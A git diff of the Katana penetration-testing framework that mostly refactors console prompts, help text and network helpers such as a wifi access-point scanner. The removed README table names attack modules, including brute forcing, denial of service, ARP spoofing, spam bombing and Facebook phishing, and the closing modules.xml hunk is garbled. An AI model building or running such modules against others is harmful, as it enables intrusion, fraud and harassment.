diff --git a/README.md b/README
similarity index 65%
rename from README.md
rename to README
index 443593a..e24885e 100644
--- a/README.md
+++ b/README
@@ -2,7 +2,7 @@
[![Gitter chat](https://badges.gitter.im/totaljs/framework.png)](https://gitter.im/RedToor/Katana) ![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) ![License](https://img.shields.io/badge/license-GPLv3-blue.svg)
-![CORE](https://img.shields.io/badge/core-0.0.0.8-green.svg)![Build](https://img.shields.io/badge/BUILD-0055-red.svg)
+![CORE](https://img.shields.io/badge/core-0.0.0.9-green.svg)![Build](https://img.shields.io/badge/BUILD-0056-red.svg)
---
# ABOUT
@@ -22,28 +22,14 @@ The Katana source code is organized as follows:
-[doc/](https://github.com/RedToor/Katana/tree/master/doc) > Documentation
-[scripts/](https://github.com/RedToor/Katana/tree/master/scripts) > Scripts(modules)
-# MAIN FILES
-```
---core
- ¬Setting.py --- Setting variables
- ¬design.py --- Design template
- ¬Errors.py --- Error Debug
- ¬ping.py --- Functions
---scripts
- ¬__init__.py --- Modules List
-
-```
-# REQUIREMENTS
-OS requirement:
- Kali Linux
# INSTALLATION
Installation of Katana framework:
git clone https://github.com/RedToor/katana.git
cd Katana
- chmod 777 install.py
- python install.py
+ chmod 777 install
+ python install
# USAGE
@@ -56,38 +42,6 @@ Commands
Building (Katana Laboratory) [ktf.lab] PREMIUM
(Katana Graphical User Interface) [ktf.gui] PREMIUM
```
-# MODULES (SCRIPTS)
-
-Code-Name | Description | Author | Version
-----------|-------------|-------|--------
-web/httpbt|Brute force to http 403|Redtoor|1.0
-web/formbt|Brute force to form-based|Redtoor|1.0
-web/cpfinder|Admin panel finder|Redtoor|1.0
-web/joomscan|Scanner vul's cms joomla|Redtoor|1.0
-web/dos|Denial of service web|Redtoor|1.0
-web/whois|Who-is web|Redtoor|1.0
-web/lfd-con|LFD vulnerability Console|Redtoor|1.0
-net/arpspoof|ARP-Spoofing attack|Redtoor|1.0
-net/lanlive|Host's up in my LAN|Redtoor|2.0
-net/arplook|ARP-Spoofing detector|cl34r|1.0
-net/portscan|Port Scanner|RedToor|1.1
-set/gdreport|Getting information with web|RedToor|3.0
-set/mailboom|E-mail boombing SPAM|RedToor|1.0
-set/facebrok|facebook phishing plataform|RedToor|1.7
-fle/brutezip|Brute force to zip files|LeSZO ZerO|2.0
-fle/bruterar|Brute force to rar files|LeSZO ZerO|2.0
-clt/ftp|Console ftp client|Redtoor|1.0
-clt/sql|Console sql client|Redtoor|1.1
-clt/pop3|Console pop3 client|Redtoor|1.0
-ser/sql|Start SQL server|Redtoor|1.0
-ser/apache|Start Apache server|Redtoor|1.0
-ser/ssh|Start SSH server|Redtoor|1.0
-fbt/ftp|Brute force to ftp|Redtoor|1.0
-fbt/ssh|Brute force to ssh|Redtoor|1.0
-fbt/sql|Brute force to sql|Redtoor|1.0
-fbt/pop3|Brute force to pop3|Redtoor|1.0
-mc/gendic|Dictionary generator|Redtoor|2.1
-wifi/dos|Denial of service wifi|Redtoor|2.0
# SUPPORT
Questions, bugs or suggestions to : redtoor@inbox.ru
diff --git a/core/Errors.py b/core/Errors.py
index c251d47..bd213dc 100644
--- a/core/Errors.py
+++ b/core/Errors.py
@@ -1,8 +1,10 @@
-#
-# Katana framework
-# @Katana Errors
-#
-
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# Error file debug #
+# Last Modified: 27/03/2016 #
+# Review: 0 #
+#######################HEADER#
from design import *
d=DESIGN()
@@ -20,6 +22,11 @@ def Errors(event, info):
if string.find("_mysql_exceptions.OperationalError") >= 0:
print ' '+Bad+' Host '+info+' is not allowed to connect to this MySQL server.\n'
return
+ if string.find("password refused") >= 0:
+ print ' '+Bad+' Host '+info+' is not allowed to connect to this MySQL server.\n'
+ return
+ if string.find("No such device") >= 0:
+ return d.Nosuchdevice()
if string.find("socket") >= 0:
return d.target_off(str(info))
if string.find("KeyboardInterrupt") >= 0 and info!=False:
diff --git a/core/GeneralCommands.py b/core/GeneralCommands.py
new file mode 100644
index 0000000..ce9f166
--- /dev/null
+++ b/core/GeneralCommands.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# General Commands File #
+# Last Modified: 23/03/2016 #
+# Review: 0 #
+#######################HEADER#
+
+# Show modules installed in framework
+SHOW_MODULES="show modules"
+SHOW_MODULES_SHORT="showm"
+
+# Select a module
+SELECT="use"
+
+# Exit of ktf
+EXIT="exit"
+EXIT_SHORT="x"
+
+# Helper
+HELP="help"
+HELP_SHORT="h"
+
+# Update
+UPDATE="update"
+UPDATE_SHORT="u"
+
+# Clear
+CLEAR="clear"
+CLEAR_SHORT="c"
+
+# Show Options
+SHOW="show options"
+SHOW_SHORT="sop"
+
+# SET Value
+SETET="set"
+
+# Back
+BACKING="back"
\ No newline at end of file
diff --git a/core/Setting.py b/core/Setting.py
index 0a35d47..97a9925 100644
--- a/core/Setting.py
+++ b/core/Setting.py
@@ -42,5 +42,3 @@
# PATHS SCRIPTS
NMAP_PATH="/usr/bin/nmap"
-
-
diff --git a/core/ShortCuts/ktf.console b/core/ShortCuts/ktf.console
deleted file mode 100644
index 5e53301..0000000
--- a/core/ShortCuts/ktf.console
+++ /dev/null
@@ -1,2 +0,0 @@
-cd /usr/share/katana
-python ktf.console.py
diff --git a/core/ShortCuts/ktf.linker b/core/ShortCuts/ktf.linker
deleted file mode 100644
index f889ca6..0000000
--- a/core/ShortCuts/ktf.linker
+++ /dev/null
@@ -1,2 +0,0 @@
-cd /usr/share/katana
-sudo python ktf.linker.py -m $2 $3 $4 $5 $6 $7 $8 $9
diff --git a/core/ShortCuts/ktf.run b/core/ShortCuts/ktf.run
deleted file mode 100644
index a1cf2d6..0000000
--- a/core/ShortCuts/ktf.run
+++ /dev/null
@@ -1,2 +0,0 @@
-cd /usr/share/katana
-python ktf.run.py -m $2
diff --git a/core/colors.py b/core/colors.py
index 26def1a..8c09740 100644
--- a/core/colors.py
+++ b/core/colors.py
@@ -12,3 +12,7 @@
P = '\033[35m'
C = '\033[36m'
GR = '\033[40m'
+GY = '\033[43m'
+GE = '\033[41m'
+GW = '\033[4m'
+HH = '\033[1m'
diff --git a/core/design.py b/core/design.py
index f0d4b74..905e161 100644
--- a/core/design.py
+++ b/core/design.py
@@ -1,41 +1,44 @@
-#
-# Katana framework
-# @Katana Design
-#
-
-#
-# Core::Theme>Warrior
-#
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# Design file (Theme) #
+# Last Modified: 25/03/2016 #
+# Review: 0 #
+#######################HEADER#
import time
+colors=['\033[0m', # 0} WHITE
+ '\033[31m', # 1} RED
+ '\033[32m', # 2} YELLOW
+ '\033[33m', # 3} PURPLE
+ '\033[34m', # 4} CYAN
+ '\033[35m', # 5} MAGENT
+ '\033[36m', # 6} CURL ____
+ '\033[1m', # 7} WHITE LOW
+ '\033[4m', # 8} WHITE HIGH
+ '\033[0m', # 9} WHITE (FUCK)
+ '\033[40m', # 10} BACKGROUND GREY
+ '\033[41m', # 11} BACKGROUND RED
+ '\033[42m', # 12} BACKGROUND GREEN
+ '\033[43m'] # 13} BACKGROUND YELLOW
-
-
- #White #Red #Green #Orange #Blue #Purple #Cyan
-colors=['\033[0m', '\033[31m', '\033[32m', '\033[33m', '\033[34m', '\033[35m', '\033[36m','\033[1m', '\033[4m', '\033[0m', '\033[40m']
- #Bold #Underl #ENDL #BackBlack
-
-
-# Alerts
-Bad=colors[0]+"["+colors[1]+"Err"+colors[0]+"]"
-Alr=colors[0]+"["+colors[4]+"Inf"+colors[0]+"]"
-God=colors[0]+"["+colors[2]+"Run"+colors[0]+"]"
+# ALERTs
+Bad=colors[0]+"["+colors[1]+"ERR"+colors[0]+"]"
+Alr=colors[0]+"["+colors[4]+"INF"+colors[0]+"]"
+God=colors[0]+"["+colors[2]+"RUN"+colors[0]+"]"
Suf=colors[0]+"["+colors[2]+"SUF"+colors[0]+"]"
Hlp=colors[0]+"["+colors[7]+"HLP"+colors[0]+"]"
Got=colors[0]+"["+colors[8]+"-->"+colors[0]+"]"
-Ned=colors[0]+"["+colors[1]+"Err"+colors[0]+"]"
Nrs=colors[0]+"["+colors[1]+"NRS"+colors[0]+"]"
War=colors[0]+"["+colors[3]+"WAR"+colors[0]+"]"
-#print colors[0]+"0"+colors[1]+"1"+colors[2]+"2"+colors[3]+"3"+colors[4]+"4"+colors[5]+"5"+colors[6]+"6"+colors[7]+"7"+colors[8]+"8"+colors[9]+"9"+colors[10]+"10"
-
class DESIGN:
- def messages(self, message):
- if module == 1:
- print " test module"
+ def Line(self,CodeName,Description):
+ print colors[0]+" |"+colors[1]+"=="+colors[0]+"|::| "+colors[7]+CodeName+colors[0]+"\t\t"+Description
+ def MainPrompt(self):
+ return colors[11]+" KTF>"+colors[0]
def prompt(self, module):
- promp=colors[0]+" "+colors[0]+"ktn"+colors[0]+"::"+colors[3]+module+colors[0]+" "+colors[0]+">"+colors[0]
- return promp
+ return colors[11]+" KTF>"+colors[10]+colors[7]+module+colors[0]+">"+colors[0]
def option(self):
print "\n [options]\t[RQ]\t[description]\t\t[value]"
print " ---------\t----\t-------------\t\t-------"
@@ -61,28 +64,33 @@ def kbi(self):
def loading_file(self):
print " "+Alr+" Loading files..."+colors[0]
def loaded(self):
- print " "+God+" Loaded file "+colors[0]
+ print " "+Suf+" Loaded file "+colors[0]
def filenot(self, files):
print " "+Bad+" Dictionary Not found : '"+files+"'"+colors[0]+", Check againt the parameters.\n"
def no_file_found(self, files):
print " "+Bad+" File Not found : '"+files+"'"+colors[0]+", Check againt the parameters.\n"
def Client_prompt(self,client):
- return colors[1]+" CLT~"+colors[3]+""+client+"/> "+colors[0]
+ return colors[11]+" KTF>"+colors[10]+colors[7]+client+colors[0]+">"+colors[0]
def noptions(self):
print "\n Options ["+colors[1]+"disabled"+colors[0]+"], you relax just "+colors[2]+"run"+colors[0]+" it...\n"
def Success(self, username, password):
print "\n-"+Suf+" Successfully with [username="+username+"][password="+password+"]\n"
def nodataallow(self):
print " "+Bad+" parameter not allow"+colors[0]
+ def ModuleNotFound(self,nameModule):
+ print " "+Bad+" The `"+nameModule+"` is Not Installed or not Exist.\n"
def No_match(self):
print " "+Bad+" Username or password no match, Check againt the parameters.\n"
def helpAUX(self):
print "\n "+Hlp+" Auxiliar Help\n"
- def noconnect(self):
- string=" "+Ned+" Not connected to any network, this module need are connected to a network."
- return string
+ def KtfRun(self):
+ print colors[11]+" KTF.RUN "+colors[0]+colors[7]+time.strftime('%c')+colors[0]
+ def Noconnect(self):
+ print " "+Ned+" Not connected to any network, this module need are connected to a network."
def go(self,to):
print " "+Got+" Go to : \033[40m"+to+""+colors[0]
+ def Helper(self):
+ print " ["+colors[1]+"!"+colors[0]+"] Invalid parameter use show 'help' for more information"+colors[0]
def testing(self, protocol, port):
print " "+Alr+" Testing "+protocol+" protocol \t\t\t ["+port+"]"
def live_protocol(self):
@@ -94,7 +102,9 @@ def nocommandCLT(self, string):
def VError(self):
print " "+Bad+" Value Error: [LINKER] is necesary all parameters, type 'sop'."
def NoDeviceFound(self, device):
- print " "+Bad+" The divice '"+device+"' not was Found.\n"
+ print " "+Bad+" The device '"+device+"' not was Found.\n"
+ def Nosuchdevice(self):
+ print " "+Bad+" No such device.\n"
def ktflab(self,version,build):
print """
__ __ ___"""+colors[3]+"""__ __ """+colors[0]+"""
@@ -116,11 +126,3 @@ def ktfrun(self,version,build):
/ '_/ __/ _/"""+colors[1]+"""_ __/ // / _ \\ """+colors[0]+"""
/_/\_\\\\_/__/ """+colors[1]+"""/_/ \_,_/_//_/ """+colors[0]+"""
Core:"""+version+"""/Build:"""+build+"\n"
- def ktfgui(self):
- print """
- __ __ ___ _
- / /__/ /_/ _/__ ___ __(_)
- / '_/ __/ _/ _ `/ // / /
- /_/\_\\__/_/ \_, /\_,_/_/
- Versio 0.0.1/___/ \n"""
-
diff --git a/core/ping.py b/core/getFunction.py
similarity index 65%
rename from core/ping.py
rename to core/getFunction.py
index b3f645b..307af95 100644
--- a/core/ping.py
+++ b/core/getFunction.py
@@ -1,14 +1,21 @@
-#
-# Katana framework
-# @Katana Ping functions
-#
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# Functions File #
+# Last Modified: 25/03/2016 #
+# Review: 0 #
+#######################HEADER#
+import logging
+logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
+from GeneralCommands import *
from xml.dom import minidom
from scapy.all import *
-
+from design import *
import xml.etree.ElementTree as ET
import fcntl, socket, struct
import readline, rlcompleter
+import updatekatana
import subprocess
import threading
import StringIO
@@ -17,15 +24,86 @@
import logging
import urllib
import colors
+import help
import socket
import time
import sys
import re
ap_list = []
-logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
VARIABLESIP=[]
VARIABLESMAC=[]
+Desing=DESIGN()
+
+### GENERAL ###
+def KatanaCheckActionShowModules(action):
+ if action == SHOW_MODULES or action == SHOW_MODULES_SHORT: return True
+def UpdateValue(action,matriz):
+ if action[:len(SETET)]==SETET:
+ var=0
+ for Namevalue in matriz:
+ if action[len(SETET)+1:len(SETET)+1+len(Namevalue[[1][0]])]==Namevalue[[1][0]]:
+ checkValue=action[len(SETET)+2+len(Namevalue[[1][0]]):]
+ if checkValue[0:4] == "::IP" : checkValue = VARIABLESIP[int(checkValue[4:])-1]
+ if checkValue[0:5] == "::MAC": checkValue = VARIABLESIP[int(checkValue[5:])-1]
+ Desing.change(Namevalue[[1][0]],checkValue)
+ matriz[var][0]=checkValue
+ return matriz
+ var+=1
+ return matriz
+def KatanaCheckActionSetValue(action):
+ if action[:len(SETET)]==SETET : return True
+def KatanaCheckActionUseModule(action):
+ if action[:len(SELECT)]==SELECT : return True
+def KatanaCheckActionShowOptions(action):
+ if action == SHOW or action == SHOW_SHORT: return True
+def KatanaCheckActionSaveValue(action):
+ if action[:4] == "save" : return True
+def KatanaCheckActionisBack(action):
+ if action==BACKING : return True
+def runModule(action):
+ if action=="run" : return True
+def KatanaCheckActionGlobalCommands(action):
+ if action[:len(EXIT)] == EXIT or action[:len(EXIT)] == EXIT_SHORT : exit()
+ elif action[:len(HELP)] == HELP or action[:len(HELP_SHORT)] == HELP_SHORT : help.help()
+ elif action[:len(UPDATE)] == UPDATE or action[:len(UPDATE_SHORT)]== UPDATE_SHORT: updatekatana.update()
+ elif action[:len(CLEAR)] == CLEAR or action[:len(CLEAR_SHORT)] == CLEAR_SHORT : subprocess.call('clear', shell=True)
+ else: Desing.Helper()
+def ShowOptions(Options):
+ Desing.option()
+ var = 0
+ for Option in Options:
+ Desing.descrip(str(Options[var][1]),str(Options[var][2]),str(Options[var][3]),str(Options[var][0]))
+ var+=1
+ Desing.space()
+
+### VARIABLES TEMP ###
+def SaveValue(secuence,matrix):
+ if secuence[5:8]=="IP:":
+ IPss=int(secuence[8:])-1
+ IPsaved=matrix[IPss]
+ grab = re.findall('([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', IPsaved)
+ address = grab[0]
+ N=len(VARIABLESIP)
+ print "----> variable Saved {\033[40m::IP"+str(N)+colors.W+"} "+address
+ MakeVarTmpIP(Value=address)
+
+ if secuence[5:9]=="MAC:":
+ IPss=int(secuence[9:])-1
+ IPsaved=matrix[IPss]
+ p = re.compile(ur'([0-9a-f]{2}(?::[0-9a-f]{2}){5})', re.IGNORECASE)
+ address=re.findall(p, IPsaved)
+ address=str(address)
+ address=address.replace("'","")
+ address=address.replace("[","")
+ address=address.replace("]","")
+ N=len(VARIABLESMAC)
+ print "----> variable Saved {\033[40m::MAC"+str(N)+colors.W+"} "+str(address)
+ MakeVarTmpMAC(Value=address)
+def MakeVarTmpIP(Value):
+ VARIABLESIP.append(Value)
+def MakeVarTmpMAC(Value):
+ VARIABLESMAC.append(Value)
### PING ###
def live(defaulthost, defaultport):
@@ -33,6 +111,35 @@ def live(defaulthost, defaultport):
red.connect((defaulthost, int(defaultport)))
red.close()
+### AP's SCAN ###
+def scanwifi(mon):
+ commands.getoutput('rm /usr/share/katana/tmp/*')
+ print " "+colors.GR+"Scanning Access Points in Interface '"+mon+"', Please wait 10s"+colors.W
+ Subprocess('airodump-ng '+mon+' -w /usr/share/katana/tmp/ktf.wifi --output-format netxml --write-interval 10')
+ time.sleep(10)
+ commands.getoutput('killall airodump-ng')
+ numberID=0
+ ESSIDs = []
+ BSSIDs = []
+ MANUs = []
+ CHANNELs = []
+ ENCRYPTAIONs = []
+ LISTAPs = []
+ tree = ET.parse('/usr/share/katana/tmp/ktf.wifi-01.kismet.netxml')
+ root = tree.getroot()
+ print " "+colors.GR+" #\t"+colors.O+"ESSID"+colors.W+colors.GR+"\tMAC\t"+colors.P+"VENDOR"+colors.W+colors.GR+"\tCHANNEL\t"+colors.B+"ENCRYPTION"+colors.W+colors.GR+" "+colors.W
+ for network in root.findall('wireless-network'):
+ for essid in network.findall('SSID'):
+ ESSIDs.append(essid.find('essid').text)
+ ENCRYPTAIONs.append(essid.find('encryption').text)
+ BSSIDs.append(network.find('BSSID').text)
+ MANUs.append(network.find('manuf').text)
+ CHANNELs.append(network.find('channel').text)
+ numberID=0
+ for ESSID in ESSIDs:
+ print colors.W+" ["+str(numberID)+"] "+colors.O+ESSIDs[numberID]+colors.W+" "+BSSIDs[numberID]+" "+colors.P+MANUs[numberID]+colors.W+" "+CHANNELs[numberID]+" "+colors.B+ENCRYPTAIONs[numberID]+colors.W
+ numberID=numberID+1
+
### LOG's ###
def save(module, target, port, dat1, dat2):
log=open('core/logs/logsBruteForce.log','a')
@@ -81,14 +188,6 @@ def savefive(module,target,port,results):
log.write('\n Found : '+results)
log.close()
-### NO USED ###
-def PacketHandler(pkt):
- if pkt.haslayer(Dot11) :
- if pkt.type == 0 and pkt.subtype == 8 :
- if pkt.addr2 not in ap_list :
- ap_list.append(pkt.addr2)
- print " BSSID: %s \t ESSID: %s " %(pkt.addr2, pkt.info)
- #sniff(iface="mon0", prn = PacketHandler)
### RUN TASK ###
def Rtask(process):
commands.getoutput(process)
@@ -98,47 +197,18 @@ def Subprocess(process):
Hire=threading.Thread(target=Rtask, args=(process,))
Hire.start()
-### AP's SCAN ###
-def scanwifi(mon):
- commands.getoutput('rm /usr/share/katana/tmp/*')
- print " "+colors.GR+"Scanning Access Points in Interface '"+mon+"', Please wait 10s"+colors.W
- Subprocess('airodump-ng '+mon+' -w /usr/share/katana/tmp/ktf.wifi --output-format netxml --write-interval 10')
- time.sleep(10)
- commands.getoutput('killall airodump-ng')
- numberID=0
- ESSIDs = []
- BSSIDs = []
- MANUs = []
- CHANNELs = []
- ENCRYPTAIONs = []
- LISTAPs = []
- tree = ET.parse('/usr/share/katana/tmp/ktf.wifi-01.kismet.netxml')
- root = tree.getroot()
- print " "+colors.GR+" #\t"+colors.O+"ESSID"+colors.W+colors.GR+"\tMAC\t"+colors.P+"VENDOR"+colors.W+colors.GR+"\tCHANNEL\t"+colors.B+"ENCRYPTION"+colors.W+colors.GR+" "+colors.W
- for network in root.findall('wireless-network'):
- for essid in network.findall('SSID'):
- ESSIDs.append(essid.find('essid').text)
- ENCRYPTAIONs.append(essid.find('encryption').text)
- BSSIDs.append(network.find('BSSID').text)
- MANUs.append(network.find('manuf').text)
- CHANNELs.append(network.find('channel').text)
- numberID=0
- for ESSID in ESSIDs:
- print colors.W+" ["+str(numberID)+"] "+colors.O+ESSIDs[numberID]+colors.W+" "+BSSIDs[numberID]+" "+colors.P+MANUs[numberID]+colors.W+" "+CHANNELs[numberID]+" "+colors.B+ENCRYPTAIONs[numberID]+colors.W
- numberID=numberID+1
-
### MY LOCAL IP ###
-def myip():
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+def Myip():
+ SocCKet = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
- s.connect(("google.com",80))
+ SocCKet.connect(("google.com",80))
if True:
- ip=s.getsockname()[0]
- s.close()
- return ip
+ IP_Address=SocCKet.getsockname()[0]
+ SocCKet.close()
+ return IP_Address
except:
- s.close()
- return False
+ SocCKet.close()
+ return "192.168.1.0"
### GET EXTANAL IP ###
def get_external_ip():
@@ -146,20 +216,19 @@ def get_external_ip():
site = urllib.urlopen("http://checkip.dyndns.org/").read()
grab = re.findall('([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', site)
address = grab[0]
- if True:
- print(" You Public IP: "+address+"\n")
+ return address
except:
- print " ["+colors.R+"-"+colors.W+"] Not Connect to nothing Network.\n"
+ return "null"
### INTERFACES SCANNING ###
-def interfaces(output):
- Interfaces=commands.getoutput(" netstat -i | grep 'wlan' | awk '{print $1}'")
+def get_interfaces():
+ Interfaces=commands.getoutput("netstat -i | awk '{print $1}'")
Interfaces=Interfaces.replace("\n",",")
- if output==1:
- if Interfaces=="":
- Interfaces="Interfaces : No network cards was found."
- else:
- print " Interfaces : ",Interfaces
+ Interfaces=Interfaces.replace("Kernel,Iface,","")
+ if Interfaces=="":
+ return "NULL"
+ else:
+ return Interfaces
### CHECK DEVICE ###
def checkDevice(device):
@@ -182,7 +251,7 @@ def monitor():
### IP's SCANNING LAN ###
def lan_ips(output):
- test=conneted()
+ test=isConect()
count=0
if test!=False:
array_ip=[]
@@ -210,7 +279,7 @@ def lan_ips(output):
### STATUS CMD ###
def status_cmd(cmd,tabulations):
- status_1=subprocess.call(cmd+' > null', shell=True)
+ status_1=subprocess.call(cmd+' >/dev/null 2>&1', shell=True)
if status_1==0:
return tabulations+"[\033[1m"+colors.G+"OK"+colors.W+"]"+colors.W
else:
@@ -218,76 +287,30 @@ def status_cmd(cmd,tabulations):
### GET GATEWAY ###
-def get_gateway(output):
- test=conneted()
- if test!=False:
- ip_r_l=subprocess.Popen("ip r l",shell=True,stdout=subprocess.PIPE).communicate()[0]
- s = StringIO.StringIO(ip_r_l)
- for line in s:
- if "default" in line:
- gateway = re.search(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',line).group(0)
-
- if output==1 and test!=False:
- print " Gateway : "+gateway
- if output==2 and test!=False:
- return gateway
+def get_gateway():
+ ip_r_l=subprocess.Popen("ip r l",shell=True,stdout=subprocess.PIPE).communicate()[0]
+ s = StringIO.StringIO(ip_r_l)
+ for line in s:
+ if "default" in line:
+ gateway = re.search(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',line).group(0)
+ return gateway
+ return False
### am I Connected? ###
-def conneted():
- test=myip()
- if test!=False:
- return test
- else:
- return False
+def isConect():
+ ip_r_l=subprocess.Popen("ip r l",shell=True,stdout=subprocess.PIPE).communicate()[0]
+ s = StringIO.StringIO(ip_r_l)
+ for line in s:
+ if "default" in line:
+ return True
+ return False
+
### GET MY MAC ADRRESS ###
-def my_mac_address(output):
- if conneted()!=False:
+def my_mac_address():
+ if isConect()!=False:
my_macs = [get_if_hwaddr(i) for i in get_if_list()]
for maca in my_macs:
- if(maca != "00:00:00:00:00:00") and output==1:
- print " Mac Address: "+maca
- return
-
-
-### VARIABLES TEMP ###
-def SaveVariable(secuence,matrix):
- if secuence[5:8]=="IP:":
- IPss=int(secuence[8:])-1
- IPsaved=matrix[IPss]
- grab = re.findall('([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', IPsaved)
- address = grab[0]
- N=len(VARIABLESIP)
- print " -->Saved variable {\033[40m::IP"+str(N)+colors.W+"} "+address
- MakeVarTmpIP(Value=address)
-
- if secuence[5:9]=="MAC:":
- IPss=int(secuence[9:])-1
- IPsaved=matrix[IPss]
- p = re.compile(ur'([0-9a-f]{2}(?::[0-9a-f]{2}){5})', re.IGNORECASE)
- address=re.findall(p, IPsaved)
- address=str(address)
- address=address.replace("'","")
- address=address.replace("[","")
- address=address.replace("]","")
- N=len(VARIABLESMAC)
- print " -->Saved variable {\033[40m::MAC"+str(N)+colors.W+"} "+str(address)
- MakeVarTmpMAC(Value=address)
-
-def MakeVarTmpIP(Value):
- VARIABLESIP.append(Value)
-def MakeVarTmpMAC(Value):
- VARIABLESMAC.append(Value)
-
-### UPDATE PARAMATERS ###
-def update(variable,value,name):
- var=len(name)+5
- value=value[var:]
- if value[0:4] == "::IP":
- N=int(value[4:])-1
- return VARIABLESIP[N]
- elif value[0:5] == "::MAC":
- N=int(value[5:])-1
- return VARIABLESMAC[N]
- else:
- return value
+ if(maca != "00:00:00:00:00:00"):
+ return maca
+ return "NULL"
diff --git a/core/help.py b/core/help.py
index bedd7fa..3e3e6ca 100644
--- a/core/help.py
+++ b/core/help.py
@@ -1,80 +1,48 @@
-#
-# Katana framework
-# @Katana help
-#
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# Help File #
+# Last Modified: 26/03/2016 #
+# Review: 0 #
+#######################HEADER#
def help():
- W = '\033[0m'
- R = '\033[31m'
- G = '\033[32m'
- O = '\033[33m'
- B = '\033[34m'
- P = '\033[35m'
- C = '\033[36m'
- GR = '\033[37m'
- BO = '\033[1m'
- print BO+"""
- _ _
- | | | |
- | |__ ___| |_ __
- | '_ \ / _ \ | '_ \
- | | | | __/ | |_) |
- |_| |_|\___|_| .__/
- | |
- |_|
-"""+W
- print " Katana is a framework for Hackers, Pentesters, Proffesional Security, Etc"
- print " a framework multi-tool very strong for pentesting"
- print ""
- print " show modules or showm <--- Show modules "
- print " use <--- Use modules "
- print " show options or sop <--- Show Options of Module"
- print " set <--- Change valor of a parameter"
- print " run or r <--- Run Module"
- print " update or u <--- Update framework"
- print " back or b <--- Backing or return"
- print " exit or x <--- Exit of framework"
- print " help or h <--- Show help (this)"
- print " clear or c <--- Clear screen)"
- print " ~_______________________________________________________________~ "
- print """
+ print """\n
+ Katana framework help, General Commands:
+
+ show <--- Show modules
+ use <--- Use modules
+ set <--- Change valor of a parameter
+ run <--- Run Module
+ update <--- Update framework
+ back <--- Backing or return
+ exit <--- Exit of framework
+ help <--- Show help (this)
+ clear <--- Clear screen
+ save <--- Save Variable
+ ~_______________________________________________________________~
+
[options] [RQ] [description] [value]
--------- ---- ------------- -------
- target yes IP or DNS 127.0.0.1
- port no Port of target 21
-"""
- print ""
- print " ["+G+"+"+W+"]Section of Options"
- print " |target | the parameter is target"
- print " |port | the parameter is port"
- print ""
- print " ["+G+"+"+W+"]Section of RQ"
- print " |yes | the parameter is need"
- print " |no | the parameter is'n need"
- print ""
- print " ["+G+"+"+W+"]Section of values"
- print " |127.0.0.1 | the value is 127.0.0..1"
- print " |8080 | the value is 8080"
- print ""
- print " ["+G+"+"+W+"]Section of Configuration"
- print " |set target 127.0.0.1 | the parameter was set up in 127.0.0.1"
- print " |set port 80 | the parameter was set up in 80"
- print ""
- print " Alerts "
- print ""
- print " ["+G+"+"+W+"] Good or Successfully"
- print " ["+B+"!"+W+"] Notification"
- print " ["+R+"-"+W+"] Error"
- print " ["+BO+"*"+W+"] Help Area"
- print ""
- print " Parameter not allow | the parameter not exists"
- print " Dictionary Not found | path wrong"
- print " Keyboard Interrupt | Ctrol+C"
- print " ..."
- print ""
- print " for more info go to github project https://github.com/redtoor/katana"
- print " or send a email to redtoor[at]inbox.ru"
- print " fb.com/redtoor - twitter.com/redtoor - plus.google.com/+redtoor"
- print ""
- print " Based in "+G+"Python"+W+" with "+R+"<3"+W+" from "+O+"Col"+B+"om"+R+"bia "+W+"by "+R+"Red"+W+"Toor"
- print ""
+ target yes IP or DNS 127.0.0.1
+ port no Port of target 21
+ ~_______________________________________________________________~
+
+ []Section of Options
+ |target | the parameter is target
+ |port | the parameter is port
+
+ []Section of RQ
+ |yes | the parameter is need
+ |no | the parameter is'n need
+
+ []Section of values
+ |127.0.0.1 | the value is 127.0.0..1
+ |8080 | the value is 8080
+
+ []Section of Configuration
+ |set target 127.0.0.1 | the parameter was set up in 127.0.0.1
+ |set port 80 | the parameter was set up in 80
+
+
+ for more info go to github project https://github.com/redtoor/katana\n"""
\ No newline at end of file
diff --git a/core/info.py b/core/info.py
index 67dfed6..48e1df7 100644
--- a/core/info.py
+++ b/core/info.py
@@ -1,11 +1,14 @@
-#
-# Katana framework
-# @Katana Information
-#
+#!/usr/bin/env python
+#HEADER#######################
+# Katana framework #
+# Information File #
+# Last Modified: 25/03/2016 #
+# Review: 0 #
+#######################HEADER#
-version="0.0.0.8"
-date="22/01/2016 - 03/03/2016"
+version="0.0.0.9"
+date="04/03/16:30/03/16"
modules="31"
tema="Warrior theme"
-build="0055"
-
+build="0056"
+Type="FREE"
\ No newline at end of file
diff --git a/core/modules.xml b/core/modules.xml
index 1d3dafe..4d57696 100644
--- a/core/modules.xml
+++ b/core/modules.xml
@@ -1,99 +1,173 @@
+ git clone https://github.com/redtoor/katana + cd katana + sudo python install ++
+# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # ++
+# Libraries # +import time # +import socket # +# :-:-:-:-:-:-:-:-:-:-:-:-:-:-: # ++
